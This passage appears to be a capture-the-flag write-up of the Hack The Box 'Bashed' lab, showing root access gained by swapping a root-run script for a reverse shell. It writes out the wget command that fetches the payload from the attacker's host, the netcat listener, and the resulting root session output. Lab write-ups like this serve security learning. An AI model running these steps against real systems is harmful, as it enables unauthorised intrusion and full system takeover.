File Write


I just created a simple reverse shell in Python. This will replace the file /scripts/test.py

scriptmanager@bashed:/scripts$ rm test.py ; wget http://10.10.14.rm test.py ; wget http://10.10.14.6:8000/test.py ; chmod 777 test.py
; chmod 777 test.pyttp://10.10.14.6:8000/test.py  
--2023-01-13 15:11:31--  http://10.10.14.6:8000/test.py
connecting to 10.10.14.6:8000... connected.
HTTP request sent, awaiting response... 200 OK
length: 227 [text/x-python]
saving to: 'test.py'
 
test.py             100%[===================>]     227  --.-KB/s    in 0s      
 
2023-01-13 15:11:31 (47.2 MB/s) - 'test.py' saved [227/227]

I removed the original file and replaced it by downloading the Python reverse shell

┌──(kali㉿kali)-[~/archive/htb/labs/bashed]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.68] 33050
root@bashed:/scripts# 

root@bashed:/scripts# whoami
whoami
root
root@bashed:/scripts# hostname
hostname
bashed
root@bashed:/scripts# ip a s
ip a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:1c:78 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:1c78/64 scope global mngtmpaddr dynamic 
       valid_lft 86394sec preferred_lft 14394sec
    inet6 fe80::250:56ff:feb9:1c78/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise